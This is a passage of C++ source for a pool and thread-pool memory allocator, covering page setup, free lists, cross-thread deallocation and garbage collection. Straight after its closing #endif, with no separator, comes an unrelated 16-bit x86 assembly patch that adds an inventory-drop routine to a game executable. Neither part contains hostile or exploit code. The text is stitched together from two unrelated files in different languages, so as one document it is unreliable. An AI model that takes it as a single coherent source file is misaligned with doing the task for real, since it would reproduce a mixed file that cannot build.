pageAddress = reinterpret_cast<const char*>(page); // all pages are the same size so we either in or out, no need to check the pageAddressEnd if (pageAddress > staticBlockStart && pageAddress < staticBlockEnd) { return true; } else { return false; } #else return m_allocator.IsInStaticBlock(page); #endif // } inline Page* ConstructPage(size_t elementSize) { # ifdef AZ_THREAD_LOCAL AZ_Assert(m_isDynamic, "We run out of static pages (%d) and this is a static allocator!", m_numStaticPages); // We store the page struct at the end of the block char* memBlock; memBlock = reinterpret_cast<char*>(m_pageAllocator->Allocate(m_pageSize, m_pageSize, 0, "AZSystem::ThreadPoolSchema::ConstructPage", __FILE__, __LINE__)); size_t pageDataSize = m_pageSize - sizeof(Page); Page* page = new(memBlock+pageDataSize)Page(m_threadPoolGetter()); page->SetupFreeList(elementSize, pageDataSize); page->m_elementSize = static_cast<u32>(elementSize); page->m_maxNumElements = static_cast<u32>(pageDataSize / elementSize); return page; #else return m_allocator.ConstructPage(elementSize); #endif } inline void FreePage(Page* page) { # ifdef AZ_THREAD_LOCAL // TODO: It's optional if we want to check the guard value for corruption, since we are not going // to use this memory. Yet it might be useful to catch bugs. // We store the page struct at the end of the block char* memBlock = reinterpret_cast<char*>(page) - m_pageSize + sizeof(Page); page->~Page(); // destroy the page m_pageAllocator->DeAllocate(memBlock); #else m_allocator.FreePage(page); #endif } inline Page* PageFromAddress(void* address) { # ifdef AZ_THREAD_LOCAL char* memBlock = reinterpret_cast<char*>(reinterpret_cast<size_t>(address) & ~static_cast<size_t>(m_pageSize-1)); memBlock += m_pageSize - sizeof(Page); Page* page = reinterpret_cast<Page*>(memBlock); if (!page->m_magic.Validate()) { return NULL; } return page; #else return m_allocator.PageFromAddress(address); #endif } # ifdef AZ_THREAD_LOCAL // NOTE we allow only one instance of a allocator, you need to subclass it for different versions. // so for now it's safe to use static. We use TLS on a static because on some platforms set thread key is available // only for pthread lib and we don't use it. I can't find other way to it, otherwise please switch this to // use TlsAlloc/TlsFree etc. ThreadPoolSchema::GetThreadPoolData m_threadPoolGetter; ThreadPoolSchema::SetThreadPoolData m_threadPoolSetter; #if !defined(AZ_OS64) && (ATOMIC_ADDRESS_LOCK_FREE==2) # define AZ_THREADPOOL_USE_STAMPED_STACK #endif // // If we don't support lock free used locked page list # ifdef AZ_THREADPOOL_USE_STAMPED_STACK // We don't have support for stamped lock free stack on X64 (yet we need CAS128), we can implement this using indices and another stack, // but it becomes too complicated for already complicated code. typedef AZStd::lock_free_intrusive_stamped_stack<Page, AZStd::lock_free_intrusive_stack_member_hook<Page, & Page::m_lfStack> > FreePagesType; # else // Fox X64 we push/pop pages using the m_mutex to sync. Pages are typedef Bucket::PageListType FreePagesType; # endif FreePagesType m_freePages; AZStd::vector<ThreadPoolData*> m_threads; ///< Array with all separate thread data. Used to traverse end free elements. IAllocatorAllocate* m_pageAllocator; void* m_staticDataBlock; size_t m_numStaticPages; size_t m_pageSize; size_t m_minAllocationSize; size_t m_maxAllocationSize; bool m_isDynamic; # else PoolSchemaImpl m_allocator; # endif // TODO rbbaklov Changed to recursive_mutex from mutex for Linux support. AZStd::recursive_mutex m_mutex; }; #ifdef AZ_THREAD_LOCAL struct ThreadPoolData { AZ_CLASS_ALLOCATOR(ThreadPoolData, SystemAllocator, 0) ThreadPoolData(ThreadPoolSchemaImpl* alloc, size_t pageSize, size_t minAllocationSize, size_t maxAllocationSize); ~ThreadPoolData(); typedef PoolAllocation<ThreadPoolSchemaImpl> AllocatorType; /** * Stack with freed elements from other threads. We don't need stamped stack since the ABA problem can not * happen here. We push from many threads and pop from only one (we don't push from it). */ typedef AZStd::lock_free_intrusive_stack<ThreadPoolSchemaImpl::Page::FakeNodeLF, AZStd::lock_free_intrusive_stack_base_hook<ThreadPoolSchemaImpl::Page::FakeNodeLF> > FreedElementsStack; AllocatorType m_allocator; FreedElementsStack m_freedElements; }; #endif } using namespace AZ; //========================================================================= // PoolAllocation // [9/09/2009] //========================================================================= template<class Allocator> PoolAllocation<Allocator>::PoolAllocation(Allocator* alloc, size_t pageSize, size_t minAllocationSize, size_t maxAllocationSize) : m_allocator(alloc) , m_pageSize(pageSize) , m_numBytesAllocated(0) { AZ_Assert(alloc->m_pageAllocator, "We need the page allocator setup!"); AZ_Assert(pageSize >= maxAllocationSize * 4, "We need to fit at least 4 objects in a pool! Increase your page size! Page %d MaxAllocationSize %d",pageSize,maxAllocationSize); AZ_Assert(minAllocationSize == maxAllocationSize || ((minAllocationSize)&(minAllocationSize - 1)) == 0, "Min allocation should be either equal to max allocation size or power of two"); m_minAllocationSize = AZ::GetMax(minAllocationSize, size_t(8)); m_maxAllocationSize = AZ::GetMax(maxAllocationSize, minAllocationSize); m_minAllocationShift = 0; for (size_t i = 1; i < sizeof(unsigned int)*8; i++) { if (m_minAllocationSize >> i == 0) { m_minAllocationShift = i-1; break; } } AZ_Assert(m_maxAllocationSize % m_minAllocationSize == 0, "You need to be able to divide m_maxAllocationSize (%d) / m_minAllocationSize (%d) without fraction!", m_maxAllocationSize, m_minAllocationSize); m_numBuckets = m_maxAllocationSize / m_minAllocationSize; AZ_Assert(m_numBuckets <= 0xffff, "You can't have more than 65535 number of buckets! We need to increase the index size!"); m_buckets = reinterpret_cast<BucketType*>(alloc->m_pageAllocator->Allocate(sizeof(BucketType)*m_numBuckets, AZStd::alignment_of<BucketType>::value)); for (size_t i = 0; i < m_numBuckets; ++i) { new(m_buckets + i)BucketType(); } } //========================================================================= // ~PoolAllocation // [9/09/2009] //========================================================================= template<class Allocator> PoolAllocation<Allocator>::~PoolAllocation() { GarbageCollect(true); for (size_t i = 0; i < m_numBuckets; ++i) { m_buckets[i].~BucketType(); } m_allocator->m_pageAllocator->DeAllocate(m_buckets, sizeof(BucketType) * m_numBuckets); } //========================================================================= // Allocate // [9/09/2009] //========================================================================= template<class Allocator> AZ_INLINE void* PoolAllocation<Allocator>::Allocate(size_t byteSize, size_t alignment) { AZ_Assert(byteSize>0, "You can not allocate 0 bytes!"); AZ_Assert(alignment>0&&(alignment&(alignment-1))==0, "Alignment must be >0 and power of 2!"); // pad the size to the min allocation size. byteSize = AZ::SizeAlignUp(byteSize, m_minAllocationSize); byteSize = AZ::SizeAlignUp(byteSize, alignment); if (byteSize > m_maxAllocationSize) { AZ_Assert(false, "Allocation size (%d) is too big (max: %d) for pools!", byteSize, m_maxAllocationSize); return nullptr; } u32 bucketIndex = static_cast<u32>((byteSize >> m_minAllocationShift)-1); BucketType& bucket = m_buckets[bucketIndex]; PageType* page = 0; if (!bucket.m_pages.empty()) { page = &bucket.m_pages.front(); // check if we have free slot in the page if (page->m_freeList.empty()) { page = 0; } else if (page->m_freeList.size()==1) { // if we have only 1 free slot this allocation will // fill the page, so put in on the back bucket.m_pages.pop_front(); bucket.m_pages.push_back(*page); } } if (!page) { page = m_allocator->PopFreePage(); if (page) { // We have any pages available on free page stack. if (page->m_bin != bucketIndex) // if this page was used the same bucket we are ready to roll. { size_t elementSize = byteSize; size_t pageDataSize = m_pageSize - sizeof(PageType); page->SetupFreeList(elementSize, pageDataSize); page->m_bin = bucketIndex; page->m_elementSize = static_cast<u32>(elementSize); page->m_maxNumElements = static_cast<u32>(pageDataSize / elementSize); } } else { // We need to align each page on it's size, this way we can quickly find which page the pointer belongs to. page = m_allocator->ConstructPage(byteSize); page->m_bin = bucketIndex; } bucket.m_pages.push_front(*page); } // The data address and the fake node address are shared. void* address = &page->m_freeList.front(); page->m_freeList.pop_front(); m_numBytesAllocated += byteSize; return address; } //========================================================================= // DeAllocate // [9/09/2009] //========================================================================= template<class Allocator> AZ_INLINE void PoolAllocation<Allocator>::DeAllocate(void* ptr) { PageType* page = m_allocator->PageFromAddress(ptr); if (page==NULL) { AZ_Error("Memory", false, "Address 0x%08x is not in the ThreadPool!", ptr); return; } // (pageSize - info struct at the end) / (element size) size_t maxElementsPerBucket = page->m_maxNumElements; size_t numFreeNodes = page->m_freeList.size(); typename PageType::FakeNode* node = new(ptr) typename PageType::FakeNode(); page->m_freeList.push_front(*node); if (numFreeNodes==0) { // if the page was full before sort at the front BucketType& bucket = m_buckets[page->m_bin]; bucket.m_pages.erase(*page); bucket.m_pages.push_front(*page); } else if (numFreeNodes == maxElementsPerBucket-1) { // push to the list of free pages BucketType& bucket = m_buckets[page->m_bin]; PageType* frontPage = &bucket.m_pages.front(); if (frontPage != page) { bucket.m_pages.erase(*page); // check if the front page is full if so push the free page to the front otherwise push // push it on the free pages list so it can be reused by other bins. if (frontPage->m_freeList.empty()) { bucket.m_pages.push_front(*page); } else { m_allocator->PushFreePage(page); } } else if (frontPage->m_next != 0) { // if the next page has free slots free the current page if (frontPage->m_next->m_freeList.size() < maxElementsPerBucket) { bucket.m_pages.erase(*page); m_allocator->PushFreePage(page); } } } m_numBytesAllocated -= page->m_elementSize; } //========================================================================= // AllocationSize // [11/22/2010] //========================================================================= template<class Allocator> AZ_INLINE size_t PoolAllocation<Allocator>::AllocationSize(void* ptr) { PageType* page = m_allocator->PageFromAddress(ptr); size_t elementSize; if (page) { elementSize = page->m_elementSize; } else { elementSize = 0; } return elementSize; } //========================================================================= // GarbageCollect // [3/1/2012] //========================================================================= template<class Allocator> AZ_INLINE void PoolAllocation<Allocator>::GarbageCollect(bool isForceFreeAllPages) { // Free empty pages in the buckets (or better be empty) for (unsigned int i = 0; i < (unsigned int)m_numBuckets; ++i) { // (pageSize - info struct at the end) / (element size) size_t maxElementsPerBucket = (m_pageSize - sizeof(PageType)) / ((i+1) << m_minAllocationShift); typename BucketType::PageListType& pages = m_buckets[i].m_pages; while (!pages.empty()) { PageType& page = pages.front(); pages.pop_front(); if (page.m_freeList.size()==maxElementsPerBucket || isForceFreeAllPages) { if (!m_allocator->IsInStaticBlock(&page)) { m_allocator->FreePage(&page); } else { m_allocator->PushFreePage(&page); } } } } } ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // PollAllocator ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// //========================================================================= // PoolSchema // [9/15/2009] //========================================================================= PoolSchema::PoolSchema() : m_impl(NULL) { } //========================================================================= // ~PoolSchema // [9/15/2009] //========================================================================= PoolSchema::~PoolSchema() { AZ_Assert(m_impl==NULL, "You did not destroy the pool schema!"); delete m_impl; } //========================================================================= // Create // [9/15/2009] //========================================================================= bool PoolSchema::Create(const Descriptor& desc) { AZ_Assert(m_impl==NULL, "PoolSchema already created!"); if (m_impl == NULL) { m_impl = aznew PoolSchemaImpl(desc); } return (m_impl!=NULL); } //========================================================================= // ~Destroy // [9/15/2009] //========================================================================= bool PoolSchema::Destroy() { delete m_impl; m_impl = NULL; return true; } //========================================================================= // Allocate // [9/15/2009] //========================================================================= PoolSchema::pointer_type PoolSchema::Allocate(size_type byteSize, size_type alignment, int flags) { (void)flags; return m_impl->Allocate(byteSize, alignment); } //========================================================================= // DeAllocate // [9/15/2009] //========================================================================= void PoolSchema::DeAllocate(pointer_type ptr) { m_impl->DeAllocate(ptr); } //========================================================================= // AllocationSize // [11/22/2010] //========================================================================= PoolSchema::size_type PoolSchema::AllocationSize(pointer_type ptr) { return m_impl->AllocationSize(ptr); } //========================================================================= // DeAllocate // [9/15/2009] //========================================================================= void PoolSchema::GarbageCollect() { m_impl->GarbageCollect(); } //========================================================================= // NumAllocatedBytes // [11/1/2010] //========================================================================= PoolSchema::size_type PoolSchema::NumAllocatedBytes() const { return m_impl->m_allocator.m_numBytesAllocated; } //========================================================================= // Capacity // [11/1/2010] //========================================================================= PoolSchema::size_type PoolSchema::Capacity() const { return m_impl->m_numStaticPages * m_impl->m_pageSize; } //========================================================================= // GetPageAllocator // [11/17/2010] //========================================================================= IAllocatorAllocate* PoolSchema::GetPageAllocator() { return m_impl->m_pageAllocator; } ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // PollAllocator Implementation ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// //========================================================================= // PoolSchemaImpl // [9/15/2009] //========================================================================= PoolSchemaImpl::PoolSchemaImpl(const PoolSchema::Descriptor& desc) : m_pageAllocator(desc.m_pageAllocator ? desc.m_pageAllocator : &AllocatorInstance<SystemAllocator>::Get()) , m_allocator(this, desc.m_pageSize, desc.m_minAllocationSize, desc.m_maxAllocationSize) , m_staticDataBlock(0) , m_numStaticPages(desc.m_numStaticPages) , m_isDynamic(desc.m_isDynamic) , m_pageSize(desc.m_pageSize) { if (m_numStaticPages) { // We store the page struct at the end of the block char* memBlock = reinterpret_cast<char*>(m_pageAllocator->Allocate(m_pageSize*m_numStaticPages, m_pageSize, 0, "AZSystem::PoolAllocation::Page static array", __FILE__, __LINE__)); m_staticDataBlock = memBlock; size_t pageDataSize = m_pageSize - sizeof(Page); for (unsigned int i = 0; i < m_numStaticPages; ++i) { Page* page = new(memBlock+pageDataSize)Page(); page->m_bin = 0xffffffff; page->m_elementSize = 0; page->m_maxNumElements = 0; PushFreePage(page); memBlock += m_pageSize; } } } //========================================================================= // ~PoolSchemaImpl // [9/15/2009] //========================================================================= PoolSchemaImpl::~PoolSchemaImpl() { // Force free all pages m_allocator.GarbageCollect(true); // Free all unused memory GarbageCollect(); if (m_staticDataBlock) { while (!m_freePages.empty()) { Page* page = &m_freePages.front(); (void)page; m_freePages.pop_front(); AZ_Assert(IsInStaticBlock(page), "All dynamic pages should be deleted by now!"); } ; char* memBlock = reinterpret_cast<char*>(m_staticDataBlock); size_t pageDataSize = m_pageSize - sizeof(Page); for (unsigned int i = 0; i < m_numStaticPages; ++i) { Page* page = reinterpret_cast<Page*>(memBlock+pageDataSize); page->~Page(); memBlock += m_pageSize; } m_pageAllocator->DeAllocate(m_staticDataBlock); } } //========================================================================= // Allocate // [9/15/2009] //========================================================================= PoolSchema::pointer_type PoolSchemaImpl::Allocate(PoolSchema::size_type byteSize, PoolSchema::size_type alignment, int flags) { //AZ_Warning("Memory",m_ownerThread==AZStd::this_thread::get_id(),"You can't allocation from a different context/thread, use ThreadPoolAllocator!"); (void)flags; void* address = m_allocator.Allocate(byteSize, alignment); return address; } //========================================================================= // DeAllocate // [9/15/2009] //========================================================================= void PoolSchemaImpl::DeAllocate(PoolSchema::pointer_type ptr) { //AZ_Warning("Memory",m_ownerThread==AZStd::this_thread::get_id(),"You can't deallocate from a different context/thread, use ThreadPoolAllocator!"); m_allocator.DeAllocate(ptr); } //========================================================================= // AllocationSize // [11/22/2010] //========================================================================= PoolSchema::size_type PoolSchemaImpl::AllocationSize(PoolSchema::pointer_type ptr) { //AZ_Warning("Memory",m_ownerThread==AZStd::this_thread::get_id(),"You can't use PoolAllocator from a different context/thread, use ThreadPoolAllocator!"); return m_allocator.AllocationSize(ptr); } //========================================================================= // Pop // [9/15/2009] //========================================================================= AZ_FORCE_INLINE PoolSchemaImpl::Page* PoolSchemaImpl::PopFreePage() { Page* page = 0; if (!m_freePages.empty()) { page = &m_freePages.front(); m_freePages.pop_front(); } return page; } //========================================================================= // Push // [9/15/2009] //========================================================================= AZ_INLINE void PoolSchemaImpl::PushFreePage(Page* page) { m_freePages.push_front(*page); } //========================================================================= // PurgePages // [9/11/2009] //========================================================================= void PoolSchemaImpl::GarbageCollect() { //if( m_ownerThread == AZStd::this_thread::get_id() ) { if (m_isDynamic) { m_allocator.GarbageCollect(); Bucket::PageListType staticPages; while (!m_freePages.empty()) { Page* page = &m_freePages.front(); m_freePages.pop_front(); if (IsInStaticBlock(page)) { staticPages.push_front(*page); } else { FreePage(page); } } while (!staticPages.empty()) { Page* page = &staticPages.front(); staticPages.pop_front(); m_freePages.push_front(*page); } } } } //========================================================================= // SetupFreeList // [9/09/2009] //========================================================================= AZ_FORCE_INLINE void PoolSchemaImpl::Page::SetupFreeList(size_t elementSize, size_t pageDataBlockSize) { char* pageData = reinterpret_cast<char*>(this) - pageDataBlockSize; m_freeList.clear(); // setup free list size_t numElements = pageDataBlockSize / elementSize; for (unsigned int i = 0; i < numElements; ++i) { char* address = pageData+i*elementSize; Page::FakeNode* node = new(address) Page::FakeNode(); m_freeList.push_back(*node); } } ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // ThreadPoolSchema ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// //========================================================================= // ThreadPoolSchema // [9/15/2009] //========================================================================= ThreadPoolSchema::ThreadPoolSchema(GetThreadPoolData getThreadPoolData, SetThreadPoolData setThreadPoolData) : m_impl(NULL) , m_threadPoolGetter(getThreadPoolData) , m_threadPoolSetter(setThreadPoolData) { } //========================================================================= // ~ThreadPoolSchema // [9/15/2009] //========================================================================= ThreadPoolSchema::~ThreadPoolSchema() { AZ_Assert(m_impl==NULL, "You did not destroy the thread pool schema!"); delete m_impl; } //========================================================================= // Create // [9/15/2009] //========================================================================= bool ThreadPoolSchema::Create(const Descriptor& desc) { AZ_Assert(m_impl==NULL, "PoolSchema already created!"); if (m_impl == NULL) { m_impl = aznew ThreadPoolSchemaImpl(desc, m_threadPoolGetter, m_threadPoolSetter); } return (m_impl!=NULL); } //========================================================================= // Destroy // [9/15/2009] //========================================================================= bool ThreadPoolSchema::Destroy() { delete m_impl; m_impl = NULL; return true; } //========================================================================= // Allocate // [9/15/2009] //========================================================================= ThreadPoolSchema::pointer_type ThreadPoolSchema::Allocate(size_type byteSize, size_type alignment, int flags) { (void)flags; return m_impl->Allocate(byteSize, alignment); } //========================================================================= // DeAllocate // [9/15/2009] //========================================================================= void ThreadPoolSchema::DeAllocate(pointer_type ptr) { m_impl->DeAllocate(ptr); } //========================================================================= // AllocationSize // [11/22/2010] //========================================================================= ThreadPoolSchema::size_type ThreadPoolSchema::AllocationSize(pointer_type ptr) { return m_impl->AllocationSize(ptr); } //========================================================================= // DeAllocate // [9/15/2009] //========================================================================= void ThreadPoolSchema::GarbageCollect() { m_impl->GarbageCollect(); } //========================================================================= // NumAllocatedBytes // [11/1/2010] //========================================================================= ThreadPoolSchema::size_type ThreadPoolSchema::NumAllocatedBytes() const { size_type bytesAllocated = 0; { AZStd::lock_guard<AZStd::recursive_mutex> lock(m_impl->m_mutex); #ifdef AZ_THREAD_LOCAL for (size_t i = 0; i < m_impl->m_threads.size(); ++i) { bytesAllocated += m_impl->m_threads[i]->m_allocator.m_numBytesAllocated; } #else bytesAllocated += m_impl->m_allocator.m_allocator.m_numBytesAllocated; #endif } return bytesAllocated; } //========================================================================= // Capacity // [11/1/2010] //========================================================================= ThreadPoolSchema::size_type ThreadPoolSchema::Capacity() const { #ifdef AZ_THREAD_LOCAL return m_impl->m_numStaticPages * m_impl->m_pageSize; #else return m_impl->m_allocator.m_numStaticPages * m_impl->m_allocator.m_allocator.m_pageSize; #endif } //========================================================================= // GetPageAllocator // [11/17/2010] //========================================================================= IAllocatorAllocate* ThreadPoolSchema::GetPageAllocator() { #ifdef AZ_THREAD_LOCAL return m_impl->m_pageAllocator; #else return m_impl->m_allocator.m_pageAllocator; #endif } //========================================================================= // ThreadPoolSchemaImpl // [9/15/2009] //========================================================================= ThreadPoolSchemaImpl::ThreadPoolSchemaImpl(const ThreadPoolSchema::Descriptor& desc, ThreadPoolSchema::GetThreadPoolData threadPoolGetter, ThreadPoolSchema::SetThreadPoolData threadPoolSetter) #ifdef AZ_THREAD_LOCAL : m_threadPoolGetter(threadPoolGetter) , m_threadPoolSetter(threadPoolSetter) , m_pageAllocator(desc.m_pageAllocator) , m_staticDataBlock(0) , m_numStaticPages(desc.m_numStaticPages) , m_pageSize(desc.m_pageSize) , m_minAllocationSize(desc.m_minAllocationSize) , m_maxAllocationSize(desc.m_maxAllocationSize) , m_isDynamic(desc.m_isDynamic) #else : m_allocator(desc) #endif { # if AZ_TRAIT_OS_HAS_CRITICAL_SECTION_SPIN_COUNT // In memory allocation case (usually tools) we might have high contention, // using spin lock will improve performance. SetCriticalSectionSpinCount(m_mutex.native_handle(), 4000); # endif #ifdef AZ_THREAD_LOCAL if (m_pageAllocator == 0) { m_pageAllocator = &AllocatorInstance<SystemAllocator>::Get(); // use the SystemAllocator if no page allocator is provided } if (m_numStaticPages) { // We store the page struct at the end of the block char* memBlock = reinterpret_cast<char*>(m_pageAllocator->Allocate(m_pageSize*m_numStaticPages, m_pageSize, 0, "AZSystem::ThreadPoolSchemaImpl::Page static array", __FILE__, __LINE__)); m_staticDataBlock = memBlock; size_t pageDataSize = m_pageSize - sizeof(Page); for (unsigned int i = 0; i < m_numStaticPages; ++i) { Page* page = new(memBlock+pageDataSize)Page(m_threadPoolGetter()); page->m_bin = 0xffffffff; PushFreePage(page); memBlock += m_pageSize; } } #endif // AZ_THREAD_LOCAL } //========================================================================= // ~ThreadPoolSchemaImpl // [9/15/2009] //========================================================================= ThreadPoolSchemaImpl::~ThreadPoolSchemaImpl() { #ifdef AZ_THREAD_LOCAL // clean up all the thread data. // IMPORTANT: We assume/rely that all threads (except the calling one) are or will // destroyed before you create another instance of the pool allocation. // This should generally be ok since the all allocators are singletons. { AZStd::lock_guard<AZStd::recursive_mutex> lock(m_mutex); if (!m_threads.empty()) { for (size_t i = 0; i < m_threads.size(); ++i) { if (m_threads[i]) { // Force free all pages delete m_threads[i]; } } /// reset the variable for the owner thread. m_threadPoolSetter(nullptr); } } GarbageCollect(); if (m_staticDataBlock) { Page* page; # ifdef AZ_THREADPOOL_USE_STAMPED_STACK while ((page = m_freePages.pop())!=NULL) { (void)page; AZ_Assert(IsInStaticBlock(page), "All dynamic pages should be free by now!"); } # else { AZStd::lock_guard<AZStd::recursive_mutex> lock(m_mutex); while (!m_freePages.empty()) { page = &m_freePages.front(); m_freePages.pop_front(); AZ_Assert(IsInStaticBlock(page), "All dynamic pages should be free by now!"); } } # endif // AZ_THREADPOOL_USE_STAMPED_STACK char* memBlock = reinterpret_cast<char*>(m_staticDataBlock); size_t pageDataSize = m_pageSize - sizeof(Page); for (unsigned int i = 0; i < m_numStaticPages; ++i) { page = reinterpret_cast<Page*>(memBlock+pageDataSize); page->~Page(); memBlock += m_pageSize; } m_pageAllocator->DeAllocate(m_staticDataBlock); } #else // !AZ_THREAD_LOCAL m_allocator.m_allocator.GarbageCollect(true); #endif // !AZ_THREAD_LOCAL } //========================================================================= // Allocate // [9/15/2009] //========================================================================= ThreadPoolSchema::pointer_type ThreadPoolSchemaImpl::Allocate(ThreadPoolSchema::size_type byteSize, ThreadPoolSchema::size_type alignment, int flags) { #ifdef AZ_THREAD_LOCAL (void)flags; ThreadPoolData* threadData = m_threadPoolGetter(); if (threadData == nullptr) { threadData = aznew ThreadPoolData(this, m_pageSize, m_minAllocationSize, m_maxAllocationSize); m_threadPoolSetter(threadData); { AZStd::lock_guard<AZStd::recursive_mutex> lock(m_mutex); m_threads.push_back(threadData); } } else { // deallocate elements if they were freed from other threads Page::FakeNodeLF* fakeLFNode; while ((fakeLFNode = threadData->m_freedElements.pop())!=0) { threadData->m_allocator.DeAllocate(fakeLFNode); } } return threadData->m_allocator.Allocate(byteSize, alignment); #else AZStd::lock_guard<AZStd::recursive_mutex> lock(m_mutex); return m_allocator.Allocate(byteSize, alignment, flags); #endif } //========================================================================= // DeAllocate // [9/15/2009] //========================================================================= void ThreadPoolSchemaImpl::DeAllocate(ThreadPoolSchema::pointer_type ptr) { #ifdef AZ_THREAD_LOCAL Page* page = PageFromAddress(ptr); if (page==NULL) { AZ_Error("Memory", false, "Address 0x%08x is not in the ThreadPool!", ptr); return; } AZ_Assert(page->m_threadData!=0, ("We must have valid page thread data for the page!")); ThreadPoolData* threadData = m_threadPoolGetter(); if (threadData == page->m_threadData) { // we can free here threadData->m_allocator.DeAllocate(ptr); } else { // push this element to be deleted from it's own thread! // cast the pointer to a fake lock free node Page::FakeNodeLF* fakeLFNode = reinterpret_cast<Page::FakeNodeLF*>(ptr); #ifdef AZ_DEBUG_BUILD // we need to reset the fakeLFNode because we share the memory. // otherwise we will assert the node is in the list fakeLFNode->m_next = 0; #endif page->m_threadData->m_freedElements.push(*fakeLFNode); } #else AZStd::lock_guard<AZStd::recursive_mutex> lock(m_mutex); m_allocator.DeAllocate(ptr); #endif } //========================================================================= // AllocationSize // [11/22/2010] //========================================================================= ThreadPoolSchema::size_type ThreadPoolSchemaImpl::AllocationSize(ThreadPoolSchema::pointer_type ptr) { #ifdef AZ_THREAD_LOCAL Page* page = PageFromAddress(ptr); if (page==NULL) { return 0; } AZ_Assert(page->m_threadData!=0, ("We must have valid page thread data for the page!")); return page->m_threadData->m_allocator.AllocationSize(ptr); #else AZStd::lock_guard<AZStd::recursive_mutex> lock(m_mutex); return m_allocator.AllocationSize(ptr); #endif } //========================================================================= // PopFreePage // [9/15/2009] //========================================================================= AZ_INLINE ThreadPoolSchemaImpl::Page* ThreadPoolSchemaImpl::PopFreePage() { #ifdef AZ_THREAD_LOCAL Page* page; #ifdef AZ_THREADPOOL_USE_STAMPED_STACK page = m_freePages.pop(); # else { AZStd::lock_guard<AZStd::recursive_mutex> lock(m_mutex); if (m_freePages.empty()) { page = NULL; } else { page = &m_freePages.front(); m_freePages.pop_front(); } } # endif // AZ_THREADPOOL_USE_STAMPED_STACK if (page) { # ifdef AZ_DEBUG_BUILD AZ_Assert(page->m_threadData == 0, "If we stored the free page properly we should have null here!"); # endif // store the current thread data, used when we free elements page->m_threadData = m_threadPoolGetter(); } return page; #else AZ_Assert(false, "This code should not be called!"); return 0; #endif } //========================================================================= // PushFreePage // [9/15/2009] //========================================================================= AZ_INLINE void ThreadPoolSchemaImpl::PushFreePage(Page* page) { #ifdef AZ_THREAD_LOCAL #ifdef AZ_DEBUG_BUILD page->m_threadData = 0; #endif #ifdef AZ_THREADPOOL_USE_STAMPED_STACK m_freePages.push(*page); # else { AZStd::lock_guard<AZStd::recursive_mutex> lock(m_mutex); m_freePages.push_front(*page); } # endif // AZ_THREADPOOL_USE_STAMPED_STACK #else (void)page; AZ_Assert(false, "This code should not be called!"); #endif } //========================================================================= // GarbageCollect // [9/15/2009] //========================================================================= void ThreadPoolSchemaImpl::GarbageCollect() { #ifdef AZ_THREAD_LOCAL if (!m_isDynamic) { return; // we have the memory statically allocated, can't collect garbage. } # ifdef AZ_THREADPOOL_USE_STAMPED_STACK FreePagesType staticPages; Page* page; while ((page = m_freePages.pop())!=0) { if (IsInStaticBlock(page)) { staticPages.push(*page); } else { FreePage(page); } } while ((page = staticPages.pop())!=0) { m_freePages.push(*page); } # else { FreePagesType staticPages; AZStd::lock_guard<AZStd::recursive_mutex> lock(m_mutex); while (!m_freePages.empty()) { Page* page = &m_freePages.front(); m_freePages.pop_front(); if (IsInStaticBlock(page)) { staticPages.push_front(*page); } else { FreePage(page); } } while (!staticPages.empty()) { Page* page = &staticPages.front(); staticPages.pop_front(); m_freePages.push_front(*page); } } # endif // AZ_THREADPOOL_USE_STAMPED_STACK #else AZStd::lock_guard<AZStd::recursive_mutex> lock(m_mutex); m_allocator.GarbageCollect(); #endif } #ifdef AZ_THREAD_LOCAL //========================================================================= // SetupFreeList // [9/15/2009] //========================================================================= inline void ThreadPoolSchemaImpl::Page::SetupFreeList(size_t elementSize, size_t pageDataBlockSize) { char* pageData = reinterpret_cast<char*>(this) - pageDataBlockSize; m_freeList.clear(); // setup free list size_t numElements = pageDataBlockSize / elementSize; for (size_t i = 0; i < numElements; ++i) { char* address = pageData+i*elementSize; Page::FakeNode* node = new(address) Page::FakeNode(); m_freeList.push_back(*node); } } //========================================================================= // ThreadPoolData::ThreadPoolData // [9/15/2009] //========================================================================= ThreadPoolData::ThreadPoolData(ThreadPoolSchemaImpl* alloc, size_t pageSize, size_t minAllocationSize, size_t maxAllocationSize) : m_allocator(alloc, pageSize, minAllocationSize, maxAllocationSize) {} //========================================================================= // ThreadPoolData::~ThreadPoolData // [9/15/2009] //========================================================================= ThreadPoolData::~ThreadPoolData() { // deallocate elements if they were freed from other threads ThreadPoolSchemaImpl::Page::FakeNodeLF* fakeLFNode; while ((fakeLFNode = m_freedElements.pop())!=0) { m_allocator.DeAllocate(fakeLFNode); } } #endif // AZ_THREAD_LOCAL #endif // #ifndef AZ_UNITY_BUILD
; Initiates drop of the item currently being dragged, using a specified ; inventory area as source and using our fake dropArea as the destination. ; This allows dropping a dragged item into an arbitrary container, which might ; not be open as an on-screen inventory dialog, and for which there might ; therefore be no real inventory area to specify as the destination. [bits 16] startPatch EXE_LENGTH, eop-dropToPresetDestination startBlockAt addr_eop_dropToPresetDestination push bp mov bp, sp ; bp-based stack frame: %assign arg_pn_sourceControl 0x04 %assign ____callerIp 0x02 %assign ____callerBp 0x00 %assign var_draggedIbo -0x02 %assign var_itemHasQuantity -0x04 add sp, var_itemHasQuantity push si push di lea ax, [bp+var_draggedIbo] push ax callFromOverlay getItemBeingDragged pop cx ; stop if nothing's being dragged test ax, ax jz returnFailure callVarArgsEopFromOverlay ensureDragAndDropAreasInitialized, 0 ; require that the drop area be already configured with a destination mov bx, [dseg_pn_dropArea] cmp word [bx+InventoryArea_ibo], 0 jz returnFailure push word [bp+var_draggedIbo] callVarArgsEopFromOverlay doesItemHaveQuantity, 1 pop cx mov word [bp+var_itemHasQuantity], ax push 1 ; destination is item, not world push word [bp+var_itemHasQuantity] push word [dseg_pn_dropArea] push word [bp+arg_pn_sourceControl] lea ax, [bp+var_draggedIbo] push ax callFromOverlay dropDraggedItem add sp, 10 returnSuccess: mov ax, 1 jmp endProc returnFailure: mov ax, 0 endProc: pop di pop si mov sp, bp pop bp retn endBlockAt off_eop_dropToPresetDestination_end endPatch
